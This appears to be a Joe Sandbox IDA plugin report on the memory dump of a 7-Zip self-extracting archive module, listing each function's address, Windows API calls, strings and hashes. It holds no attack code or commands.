Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(005F91C8,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(005F91C8), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,005F91C8,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT(00000000,?,?), ref: 00402F84
memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000026,00000026,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

